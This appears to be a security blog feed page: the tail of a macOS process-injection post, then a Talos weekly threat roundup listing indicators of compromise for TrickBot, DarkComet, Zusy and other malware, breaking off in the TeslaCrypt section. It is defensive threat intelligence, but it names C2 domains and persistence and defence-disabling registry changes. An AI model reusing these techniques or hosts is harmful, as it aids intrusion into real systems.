In the current security architecture of macOS, process injection is a powerful technique. A generic process injection vulnerability can be used to escape the sandbox, elevate privileges to root and to bypass SIP’s filesystem restrictions. We have demonstrated how we used the use of insecure deserialization in the loading of an application’s saved state to inject into any Cocoa process. This was addressed by Apple as CVE-2021-30873.


  1. It is unclear what security the AES encryption here is meant to add, as the key is stored right next to it. There is no MAC, so no integrity check for the ciphertext. ↩︎

Threat Roundup for August 5 to August 12

12 August 2022 at 20:12

Today, Talos is publishing a glimpse into the most prevalent threats we've observed between Aug. 5 and Aug. 12. As with previous roundups, this post isn't meant to be an in-depth analysis. Instead, this post will summarize the threats we've observed by highlighting key behavioral characteristics, indicators of compromise, and discussing how our customers are automatically protected from these threats.

As a reminder, the information provided for the following threats in this post is non-exhaustive and current as of the date of publication. Additionally, please keep in mind that IOC searching is only one part of threat hunting. Spotting a single IOC does not necessarily indicate maliciousness. Detection and coverage for the following threats is subject to updates, pending additional threat or vulnerability analysis. For the most current information, please refer to your Firepower Management Center, Snort.org, or ClamAV.net.

For each threat described below, this blog post only lists 25 of the associated file hashes and up to 25 IOCs for each category. An accompanying JSON file can be found herethat includes the complete list of file hashes, as well as all other IOCs from this post. A visual depiction of the MITRE ATT&CK techniques associated with each threat is also shown. In these images, the brightness of the technique indicates how prevalent it is across all threat files where dynamic analysis was conducted. There are five distinct shades that are used, with the darkest indicating that no files exhibited technique behavior and the brightest indicating that technique behavior was observed from 75 percent or more of the files.

The most prevalent threats highlighted in this roundup are:

Threat Name Type Description
Win.Dropper.Tofsee-9960568-0 Dropper Tofsee is multi-purpose malware that features a number of modules used to carry out various activities such as sending spam messages, conducting click fraud, mining cryptocurrency and more. Infected systems become part of the Tofsee spam botnet and are used to send large volumes of spam messages to infect additional systems and increase the size of the botnet under the operator's control.
Win.Dropper.TrickBot-9960840-0 Dropper Trickbot is a banking trojan targeting sensitive information for certain financial institutions. This malware is frequently distributed through malicious spam campaigns. Many of these campaigns rely on downloaders for distribution, such as VB scripts.
Win.Trojan.Zusy-9960880-0 Trojan Zusy, also known as TinyBanker or Tinba, is a trojan that uses man-in-the-middle attacks to steal banking information. When executed, it injects itself into legitimate Windows processes such as "explorer.exe" and "winver.exe." When the user accesses a banking website, it displays a form to trick the user into submitting personal information.
Win.Dropper.DarkComet-9961766-1 Dropper DarkComet and related variants are a family of remote access trojans designed to provide an attacker with control over an infected system. This malware can download files from a user's machine, mechanisms for persistence and hiding. It also has the ability to send back usernames and passwords from the infected system.
Win.Ransomware.TeslaCrypt-9960924-0 Ransomware TeslaCrypt is a well-known ransomware family that encrypts a user's files with strong encryption and demands Bitcoin in exchange for a file decryption service. A flaw in the encryption algorithm was discovered that allowed files to be decrypted without paying the ransomware, and eventually, the malware developers released the master key allowing all encrypted files to be recovered easily.
Win.Virus.Xpiro-9960895-1 Virus Expiro is a known file infector and information-stealer that hinders analysis with anti-debugging and anti-analysis tricks.
Win.Dropper.Emotet-9961142-0 Dropper Emotet is one of the most widely distributed and active malware families today. It is a highly modular threat that can deliver a wide variety of payloads. Emotet is commonly delivered via Microsoft Office documents with macros, sent as attachments on malicious emails.
Win.Dropper.Remcos-9961392-0 Dropper Remcos is a remote access trojan (RAT) that allows attackers to execute commands on the infected host, log keystrokes, interact with a webcam, and capture screenshots. This malware is commonly delivered through Microsoft Office documents with macros, sent as attachments on malicious emails.
Win.Dropper.Ramnit-9961396-0 Dropper Ramnit is a banking trojan that monitors web browser activity on an infected machine and collects login information from financial websites. It also has the ability to steal browser cookies and attempts to hide from popular antivirus software.

Threat Breakdown

Win.Dropper.Tofsee-9960568-0

Indicators of Compromise

  • IOCs collected from dynamic analysis of 10 samples
Registry Keys Occurrences
<HKU>\.DEFAULT\CONTROL PANEL\BUSES
Value Name: Config4
3
<HKU>\.DEFAULT\CONTROL PANEL\BUSES 3
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E
Value Name: LanguageList
3
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E
Value Name: @%SystemRoot%\system32\dhcpqec.dll,-100
3
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E
Value Name: @%SystemRoot%\system32\dhcpqec.dll,-101
3
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E
Value Name: @%SystemRoot%\system32\dhcpqec.dll,-103
3
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E
Value Name: @%SystemRoot%\system32\dhcpqec.dll,-102
3
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E
Value Name: @%SystemRoot%\system32\napipsec.dll,-1
3
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E
Value Name: @%SystemRoot%\system32\napipsec.dll,-2
3
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E
Value Name: @%SystemRoot%\system32\napipsec.dll,-4
3
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E
Value Name: @%SystemRoot%\system32\napipsec.dll,-3
3
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E
Value Name: @%SystemRoot%\system32\tsgqec.dll,-100
3
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E
Value Name: @%SystemRoot%\system32\tsgqec.dll,-101
3
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E
Value Name: @%SystemRoot%\system32\tsgqec.dll,-102
3
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E
Value Name: @%SystemRoot%\system32\tsgqec.dll,-103
3
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E
Value Name: @%SystemRoot%\system32\eapqec.dll,-100
3
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E
Value Name: @%SystemRoot%\system32\eapqec.dll,-101
3
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E
Value Name: @%SystemRoot%\system32\eapqec.dll,-102
3
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E
Value Name: @%SystemRoot%\system32\eapqec.dll,-103
3
<HKU>\.DEFAULT\CONTROL PANEL\BUSES
Value Name: Config0
3
<HKU>\.DEFAULT\CONTROL PANEL\BUSES
Value Name: Config1
3
<HKU>\.DEFAULT\CONTROL PANEL\BUSES
Value Name: Config2
3
<HKU>\.DEFAULT\CONTROL PANEL\BUSES
Value Name: Config3
3
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\FNWISXTV
Value Name: ErrorControl
1
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\FNWISXTV
Value Name: DisplayName
1
Mutexes Occurrences
Global\27a1e0c1-13fc-11ed-9660-001517101edf 1
Global\30977501-13fc-11ed-9660-001517215b93 1
IP Addresses contacted by malware. Does not indicate maliciousness Occurrences
216[.]146[.]35[.]35 3
31[.]13[.]65[.]174 3
142[.]251[.]40[.]196 3
96[.]103[.]145[.]165 3
31[.]41[.]244[.]82 3
31[.]41[.]244[.]85 3
80[.]66[.]75[.]254 3
80[.]66[.]75[.]4 3
31[.]41[.]244[.]128 3
31[.]41[.]244[.]126/31 3
208[.]76[.]51[.]51 2
74[.]208[.]5[.]20 2
208[.]76[.]50[.]50 2
202[.]137[.]234[.]30 2
212[.]77[.]101[.]4 2
193[.]222[.]135[.]150 2
203[.]205[.]219[.]57 2
47[.]43[.]18[.]9 2
67[.]231[.]144[.]94 2
188[.]125[.]72[.]74 2
40[.]93[.]207[.]0/31 2
205[.]220[.]176[.]72 2
135[.]148[.]130[.]75 2
121[.]53[.]85[.]11 2
67[.]195[.]204[.]72/30 1
*See JSON for more IOCs
Domain Names contacted by malware. Does not indicate maliciousness Occurrences
249[.]5[.]55[.]69[.]bl[.]spamcop[.]net 3
249[.]5[.]55[.]69[.]cbl[.]abuseat[.]org 3
249[.]5[.]55[.]69[.]dnsbl[.]sorbs[.]net 3
249[.]5[.]55[.]69[.]in-addr[.]arpa 3
249[.]5[.]55[.]69[.]sbl-xbl[.]spamhaus[.]org 3
249[.]5[.]55[.]69[.]zen[.]spamhaus[.]org 3
microsoft-com[.]mail[.]protection[.]outlook[.]com 3
microsoft[.]com 3
www[.]google[.]com 3
www[.]instagram[.]com 3
comcast[.]net 3
mx1a1[.]comcast[.]net 3
jotunheim[.]name 3
niflheimr[.]cn 3
whois[.]arin[.]net 2
whois[.]iana[.]org 2
mx-eu[.]mail[.]am0[.]yahoodns[.]net 2
aspmx[.]l[.]google[.]com 2
mta5[.]am0[.]yahoodns[.]net 2
icloud[.]com 2
cox[.]net 2
walla[.]com 2
hanmail[.]net 2
allstate[.]com 2
wp[.]pl 2
*See JSON for more IOCs
Files and or directories created Occurrences
%SystemRoot%\SysWOW64\config\systemprofile 3
%SystemRoot%\SysWOW64\config\systemprofile:.repos 3
%SystemRoot%\SysWOW64\fnwisxtv 1
%SystemRoot%\SysWOW64\airdnsoq 1
%SystemRoot%\SysWOW64\uclxhmik 1
%TEMP%\dnyabinr.exe 1
%TEMP%\lcxykqya.exe 1
%TEMP%\qzguacfj.exe 1

File Hashes

098ad43e2067c5c814cebe1fc52bdc528289c6a2cc96daf4e8bac90d1c95a0b3 2240525bf4ee830766ec33e2e3c0dfcdf871748088fcf068770fd306940c5957 693cd93fbc6bfb587ad011477ae870805725c5403260621a290f61bb0d243f47 a6b68aa5d00739401b413ed936526ea5e767824fddb4e768e03fb05dc369a6fd b9820bc7b09bfa88556efac463b7459d2f4a47f06cc953529a9782fdbefd4959 c2cb05d50c06d9ed65a7c53fb2f6b7977f2988f5fbbd928266bb8ea27723b243 d6df88c6f61812a4bb662abb8d90fb4ba7e17ae5b9351251d001b7945d7aae98 ec745df5a9e65776f76b97e9685ad86fbb130bb6a3146a7823bd94c7c6502f1d f3e93f62b4f4699a3d20e85fa3c9e8b7eb9129a15ca66720d4f677cae0c5a469 f8a2e41ea8ca0e998bcd54d8256cb538b1e32cec4e80eb810e8df003427b886b

Coverage

Product Protection
Secure Endpoint This has coverage
Cloudlock N/A
CWS This has coverage
Email Security This has coverage
Network Security This has coverage
Stealthwatch N/A
Stealthwatch Cloud N/A
Secure Malware Analytics This has coverage
Umbrella This has coverage
WSA This has coverage

Screenshots of Detection

Secure Endpoint



Secure Malware Analytics



MITRE ATT&CK





Win.Dropper.TrickBot-9960840-0

Indicators of Compromise

  • IOCs collected from dynamic analysis of 36 samples
Registry Keys Occurrences
<HKCU>\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\USERDS 36
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS
Value Name: 4334c972
36
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS
Value Name: 2d17e659
36
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
Value Name: IntelPowerAgent3
7
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
Value Name: IntelPowerAgent5
5
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
Value Name: IntelPowerAgent9
4
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
Value Name: IntelPowerAgent6
4
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
Value Name: IntelPowerAgent7
3
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
Value Name: IntelPowerAgent2
3
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
Value Name: IntelPowerAgent1
3
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
Value Name: IntelPowerAgent8
3
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
Value Name: IntelPowerAgent0
2
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
Value Name: IntelPowerAgent4
2
Mutexes Occurrences
98b59d0b000000cc 36
98b59d0b00000120 36
Global\{2d17e659d34601689591} 36
98b59d0b00000174 36
98b59d0b00000150 36
98b59d0b00000158 36
98b59d0b000001ac 35
98b59d0b00000308 35
98b59d0b0000043c 35
98b59d0b000004b4 35
98b59d0b000001bc 35
98b59d0b000002ec 35
98b59d0b000001f0 35
98b59d0b000001c4 35
98b59d0b0000021c 35
98b59d0b0000025c 35
98b59d0b00000294 35
98b59d0b00000320 35
98b59d0b000003d4 35
98b59d0b000003f8 35
98b59d0b000004dc 35
98b59d0b0000060c 8
98b59d0b000005cc 8
98b59d0b000004f8 8
98b59d0b00000614 7
*See JSON for more IOCs
IP Addresses contacted by malware. Does not indicate maliciousness Occurrences
209[.]197[.]3[.]8 11
72[.]21[.]81[.]240 7
69[.]164[.]46[.]0 6
8[.]253[.]154[.]236/31 3
23[.]46[.]150[.]81 2
23[.]46[.]150[.]58 2
8[.]253[.]141[.]249 1
8[.]253[.]38[.]248 1
8[.]253[.]140[.]118 1
23[.]46[.]150[.]43 1
8[.]247[.]119[.]126 1
Domain Names contacted by malware. Does not indicate maliciousness Occurrences
download[.]windowsupdate[.]com 36
adtejoyo1377[.]tk 36
Files and or directories created Occurrences
%ProgramData%\c7150968.exe 1
%LOCALAPPDATA%\gusEBBF.tmp.bat 1
%ProgramData%\ba886437.exe 1
%HOMEPATH%\jfpDCC6.tmp.bat 1
%ProgramData%\63b007ed.exe 1
%HOMEPATH%\dtaE10F.tmp.bat 1
%ProgramData%\545ba94b.exe 1
%HOMEPATH%\hcv6907.tmp.bat 1
%ProgramData%\7afae1e8.exe 1
%HOMEPATH%\greA7E2.tmp.bat 1
%ProgramData%\9421c9aa.exe 1
%APPDATA%\vqpA923.tmp.bat 1
%ProgramData%\f779fb59.exe 1
%ProgramData%\xywA29.tmp.bat 1
%ProgramData%\940d0a1e.exe 1
%HOMEPATH%\jawD8CB.tmp.bat 1
%ProgramData%\a37667ce.exe 1
%HOMEPATH%\lkyB72F.tmp.bat 1
%ProgramData%\edcfad58.exe 1
%HOMEPATH%\pvf22C5.tmp.bat 1
%ProgramData%\182b8517.exe 1
%LOCALAPPDATA%\qsw15A4.tmp.bat 1
%ProgramData%\a3a20124.exe 1
%HOMEPATH%\xqh15A4.tmp.bat 1
%ProgramData%\a116e074.exe 1
*See JSON for more IOCs

File Hashes

007a16c9f6908085a2d65e991ae691f41e7ceab17653200669b4286af82e8c12 017306c686a5a81630e746b9518106fd5e54b410b50a61f43cba7a3850b1fec8 024d73837dea32792852294b951dcb246c56442ebde4643cef6733f411f581b6 0284c0aff10ff3ca7e6078f3d8191fc9c4db42fbfb912a8cefabc937c1eca87d 02df9ec5bfb9e1bb613b5ee7d4a518bccc9f87580182f26d6e5d5a643036e3a1 03226228480f9e9d87a0370428d337023226314bd9447efccdbc03bb672ec81b 0337b9f06cda7d7a6e96ce2a29e0f004fb6df49d3b82d294a17a13604e754f86 03a89b1af244c7d20db8498d9284c20deea9462fb15db2f89b4c59a9be47c2f0 04432d06396fac85167c0a9dadf206dc50ea8527c29b943b77f192e45dbce22d 04679de514d8e3902341b314e324e6f75ba536d09da05e99958dc5b4a689de42 049f0322736b0abeec70630b9efbbd40d9a0916ce359a5a8168165d25a76e48f 04e819e635fc974afd4ee533b478841ba581ddcff254034fdbfea6522939ef5f 05b51b8179992a7e21259d9eacdaf8b1115e51056ec0104daddda5a0810f7126 0734ea55ac016a1e6b6ac40837883a684656eec9ce857351c9f99d3c965d6501 07e4ebd0b135dbfcf1e7d2b60386c9b52fa5d154d072a5689eb3a7a2b15112d6 08da477f7c363ddbc11224260717cf6f7f48e849cff403e25559529029b8fdf4 08e9ccb010aceac1ea0c0fbb41e58c8e2552b30de500bf43e298a645f5acedf7 097f9d7400b8a8c8bf5aa5339bf18359148a533f9136cd9b6279623e4db293d7 0bde820541632a300070601291eb1c478b9d09da2b405f740d6fe92b290a45de 0be2e49c02aa297d158bd5fe213a96584455fb4cea7c24dd100b9922df2a45c5 0bf64ebc68956ea9d73858f32530c20fab4243fb09320adfd500fb94842a9888 0c29c2763f311604136a06a99fa76ed09411572cd796021b60c66806e6c8e5a9 0c6b997f98a1e58caf5a16a90317d2cb1d2474ac5c5926f26fa2b14a9299638a 0d30d3c9cf63898bb2e970ec5a54dfe868fc5f519fd6b283bd00a2d22a01a653 0da6c492cc755852c07bf7511b774e2527dce42be420f602e9445f1bb760ad33
*See JSON for more IOCs

Coverage

Product Protection
Secure Endpoint This has coverage
Cloudlock N/A
CWS This has coverage
Email Security This has coverage
Network Security This has coverage
Stealthwatch N/A
Stealthwatch Cloud N/A
Secure Malware Analytics This has coverage
Umbrella N/A
WSA N/A

Screenshots of Detection

Secure Endpoint



Secure Malware Analytics



MITRE ATT&CK





Win.Trojan.Zusy-9960880-0

Indicators of Compromise

  • IOCs collected from dynamic analysis of 16 samples
Registry Keys Occurrences
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\CDEFGH 12
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\CDEFGH
Value Name: MarkTime
12
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\CDEFGH
Value Name: Description
2
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\CDEFGH
Value Name: Type
2
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\CDEFGH
Value Name: Start
2
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\CDEFGH
Value Name: ErrorControl
2
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\CDEFGH
Value Name: ImagePath
2
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\CDEFGH
Value Name: DisplayName
2
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\CDEFGH
Value Name: WOW64
2
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\CDEFGH
Value Name: ObjectName
2
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\CDEFGH
Value Name: FailureActions
2
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\PQRSTU 2
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\PQRSTU
Value Name: MarkTime
2
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\CDEFGH
Value Name: Group
2
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\CDEFGH
Value Name: InstallTime
2
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\ABCDEF
Value Name: Description
1
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\ABCDEF
Value Name: Type
1
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\ABCDEF
Value Name: Start
1
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\ABCDEF
Value Name: ErrorControl
1
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\ABCDEF
Value Name: DisplayName
1
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\ABCDEF
Value Name: WOW64
1
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\ABCDEF
Value Name: ObjectName
1
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\ABCDEF
Value Name: FailureActions
1
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\PQRSTU
Value Name: Description
1
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\PQRSTU
Value Name: Type
1
Mutexes Occurrences
127.0.0.1:8000:Cdefgh 3
112.74.89.58:44366:Cdefgh 3
112.74.89.58:42150:Cdefgh 1
47.100.137.128:8001:Pqrstu 1
22.23.24.56:8001:Pqrstu 1
hz122.f3322.org:8001:Cdefgh 1
112.74.89.58:35807:Cdefgh 1
112.74.89.58:46308:Cdefgh 1
101.33.196.136:3389:Cdefgh 1
127.0.0.1:8001:Cdefgh 1
183.28.28.43:8001:Abcdef 1
IP Addresses contacted by malware. Does not indicate maliciousness Occurrences
112[.]74[.]89[.]58 6
22[.]23[.]24[.]56 1
47[.]100[.]137[.]128 1
101[.]33[.]196[.]136 1
183[.]28[.]28[.]43 1
Domain Names contacted by malware. Does not indicate maliciousness Occurrences
hz122[.]f3322[.]org 1
Files and or directories created Occurrences
%SystemRoot%\svchost.exe 4

File Hashes

04fa031e5d2d86f8dbe0d3b95d67ea774448df4613e8acce79f0c9a30ef041bc 2444b744b5c06e9410ee5c3baa807569fde44c5092192428de935e03d25b1edb 466ca0805173034a7b12a5ffce104bbe5ed312e7441abdb98849ae4103150d04 5a755f07d3b90ac5a2041fd04fd764c40882dd20b50f91fddbc10b8c6341591d 5b53262a14fe1dcd42d670b0488d0de11aeb7cfa84e36acb4eec0c13b5fd2d73 5ca6b22c6e7de5f0b9437970f1f9360ad4f3a74f964eb319080e347c27c6dff9 6ea5fdaa95dbe09ccbc474ba4fc9fbe796e79c02d2b4f65f223feda5643f5400 86bd70bc7bb74d3d4991b0f1c7e15ddef1d09695b3940c5fb015f2d00ce5f558 b9b344bd7005b233cbb85395f61c309938fe70e2f8a8d0b2c24441ba074f9ca5 bea6c7b4117eb1f894d830c77ddf6d4424bccb6043d0f43c257522d253321c3e c0a8a6e606e46a970cefe81f269ec6aec2a538830c2f7e03cf0eac55b135a59a c968ae3cfbbd89673b49f6bfd474eea846bdb1e2e3a7c5376dbcda5290d445ed dfc315d962da82d84b54683a849edf4e7b16bb136dbc2eb1198d35e528920103 ec6cb8ff27e33d7e69ce02885baa9c08fd5a03349a16a52590353a4ec364c464 f240b80b34fa480dc7236ddecb5c326e719a094e49df5a6f2070712650553066 fd0e616e5ebb9075c44bb6772cf8b2c46801fafdb0716636850dc2ec0fe06f8c

Coverage

Product Protection
Secure Endpoint This has coverage
Cloudlock N/A
CWS This has coverage
Email Security This has coverage
Network Security This has coverage
Stealthwatch N/A
Stealthwatch Cloud N/A
Secure Malware Analytics This has coverage
Umbrella N/A
WSA This has coverage

Screenshots of Detection

Secure Endpoint



Secure Malware Analytics



MITRE ATT&CK





Win.Dropper.DarkComet-9961766-1

Indicators of Compromise

  • IOCs collected from dynamic analysis of 33 samples
Registry Keys Occurrences
<HKCU>\SOFTWARE\DC3_FEXEC 29
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
Value Name: Windows Debugger
24
<HKLM>\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON
Value Name: UserInit
23
<HKCR>\LOCAL SETTINGS\MUICACHE\82\52C64B7E
Value Name: LanguageList
19
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
Value Name: MicroUpdate
11
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
Value Name: svchost.exe
7
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\SYSTEM
Value Name: EnableLUA
5
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\SYSTEM 5
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\SHAREDACCESS\PARAMETERS\FIREWALLPOLICY\STANDARDPROFILE
Value Name: EnableFirewall
4
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\SHAREDACCESS\PARAMETERS\FIREWALLPOLICY\STANDARDPROFILE
Value Name: DisableNotifications
4
<HKLM>\SOFTWARE\WOW6432NODE\MICROSOFT\SECURITY CENTER
Value Name: AntiVirusDisableNotify
4
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\SYSTEM
Value Name: DisableTaskMgr
3
<HKLM>\SOFTWARE\WOW6432NODE\MICROSOFT\SECURITY CENTER
Value Name: UpdatesDisableNotify
3
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\WSCSVC
Value Name: Start
3
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\SYSTEM
Value Name: DisableRegistryTools
3
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
Value Name: rundll32
3
<HKLM>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\CURRENTVERSION\EXPLORERN
Value Name: NoControlPanel
1
<HKLM>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\CURRENTVERSION 1
<HKLM>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\CURRENTVERSION\EXPLORERN 1
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
Value Name: Microsoft
1
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
Value Name: Windows Updater
1
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
Value Name: Update
1
Mutexes Occurrences
DC_MUTEX-<random, matching [A-Z0-9]{7}> 22
DCPERSFWBP 18
DC_MUTEX-5DND8AT 7
IP Addresses contacted by malware. Does not indicate maliciousness Occurrences
99[.]229[.]175[.]244 1
Domain Names contacted by malware. Does not indicate maliciousness Occurrences
pervert[.]no-ip[.]info 7
pervert2[.]no-ip[.]info 7
delvega[.]no-ip[.]org 2
wp-enhanced[.]no-ip[.]org 2
funstuff712[.]zapto[.]org 2
fflazhhf1[.]no-ip[.]org 1
darkcometss[.]no-ip[.]org 1
not4umac[.]no-ip[.]biz 1
sanderkidah[.]no-ip[.]org 1
bobolobob[.]no-ip[.]biz 1
hg-ma[.]zapto5[.]org 1
corrosivegas2010[.]zapto[.]org 1
profi555[.]no-ip[.]org 1
hg-ma[.]zapto[.]org 1
jugoboy1[.]zapto[.]org 1
hg-ma[.]zapto1[.]org 1
hg-ma[.]zapto2[.]org 1
hg-ma[.]zapto3[.]org 1
hg-ma[.]zapto4[.]org 1
jackreapez[.]zapto[.]org 1
magicmq[.]no-ip[.]org 1
kenrickm[.]no-ip[.]org 1
mrganja[.]no-ip[.]org 1
cherubi[.]no-ip[.]org 1
Files and or directories created Occurrences
%APPDATA%\WinDbg 30
%APPDATA%\WinDbg\windbg.exe 29
%APPDATA%\dclogs 28
\svchost.exe 7
%TEMP%\uxcv9v 7
%TEMP%\uxcv9v.vbs 7
%HOMEPATH%\Documents\MSDCSC 6
%HOMEPATH%\Documents\MSDCSC\msdcsc.exe 6
%TEMP%\MSDCSC 5
%TEMP%\MSDCSC\msdcsc.exe 5
%SystemRoot%\SysWOW64\MSDCSC 3
%SystemRoot%\SysWOW64\MSDCSC\msdcsc.exe 3
%TEMP%\tMMjnM 1
%TEMP%\xMWbLz.vbs 1
%TEMP%\tMMjnM.vbs 1
%APPDATA%\WinDbg\msdnaa.exe 1
%TEMP%\Mi0z67 1
%HOMEPATH%\Documents\Explorer\Iexplorer.exe 1
%TEMP%\q7EVTk 1
%TEMP%\mmsHyU 1
%TEMP%\q7EVTk.vbs 1
%TEMP%\mmsHyU.vbs 1
%APPDATA%\WinUpd\WinUpdater.exe 1
%TEMP%\alRnXV 1
%TEMP%\alRnXV.vbs 1
*See JSON for more IOCs

File Hashes

0153ea1e28f729d6604f422075202e48a599969c04c30e4a3056e3a308148eb3 050332edd1c7356a6e8a86471699135d90ba402d1f7ac0a27da39ccdb94ba0e8 07525015abc52c0820727bbfe3a29f62e1e5e0ca8af36ca8716ae5ea12e71a75 09fce07fb07b90dc54f5e72dd08d8677f62e948e6a0450e63f25cc6e22f99ff5 0a5710ed174fbee931562112147c3bf6cf8609a5f1674d0c878a6888548cb0c9 0db09a5cc0ff770b4024f14bf6b56b03c4ec599fe0499fc3a8d5da2625d93954 0f67c4df374d4e01f9838a7dc6ab174c0d8f4b5f2485b670f24c7fcdf65f3269 10f39ff02541b02857c11ca18a1cc745e075224ad510af7ad18b21dcb0d3cfa0 12449565aed227128301078ece7695cd6fbd8fb735e8f8b4238e08a1b181a651 13d377317be765d9d333e6a6d41bb83cffb606547dc308fefe0dcea87133b172 157be56d2b1cee72ad290957752e089cd39f39c51807c6791b25b875113758ab 15c65c639231d17726fa4a2c0cef2a7975a52f5d71ba8d7e4e3e1f053c066528 16cc7eabf5a54d8b376b6de32e2591902044a558ded0a527fcc0143e1686c4af 16e972675f3d1bd26aff1accdde7925e4cd5ba6d5f2a33826d3d75606a1bc955 173cae8d47a5d796b06fdd18c951003342ad08d0aee4be2823332df003b5673a 17dbbd57df81e29f2d19aba93c1626efe92bff713ad8b8e65b449e843aff54e8 19370c555e8e7ed5133ca6efa7acc98fc360983cc04193cc195ea0c8a0bf2931 1984c2439c1acacb9ec7c6468db48017d8c2aa4e2da5829d572bb6f5050e80cd 1b7a03db77e43e04badd95d28554df1f9e3d97197605af709df0387d3bd0c1e8 1b9f9491a6d98e3de499641caa8ac736f2c6f76e4ac8960170d89fea7026c69e 1bd9838e181acb88813cdea1d228b445e06b921bff3cece199f9551522eff27d 1cd35eff6c0963356162d68f5434b19728f2805db71b5c616ff534d2c961d093 1d25e1479054eea2355385f60a9ce320af2e5ff5ff1333bfabc72518f7337056 1f3c3ebac21a63328b72317246fb5731720e1d311cdb7928543e1c13e87994d3 2066531192b69556304df9a65266a2d2e5978ae8cec323b6860eb230fd2faa79
*See JSON for more IOCs

Coverage

Product Protection
Secure Endpoint This has coverage
Cloudlock N/A
CWS This has coverage
Email Security This has coverage
Network Security N/A
Stealthwatch N/A
Stealthwatch Cloud N/A
Secure Malware Analytics This has coverage
Umbrella N/A
WSA N/A

Screenshots of Detection

Secure Endpoint



Secure Malware Analytics



MITRE ATT&CK





Win.Ransomware.TeslaCrypt-9960924-0

Indicators of Compromise

  • IOCs collected from dynamic analysis of 16 samples
Registry Keys Occurrences
<HKLM>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\SYSTEM
Value Name: EnableLinkedConnections
16
<HKU>\.DEFAULT\SOFTWARE\TRUEIMG 16
<HKCU>\SOFTWARE\TRUEIMG 16
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\ACTION CENTER\CHECKS\{C8E6F269-B90A-4053-A3BE-499AFCEC98C4}.CHECK.0
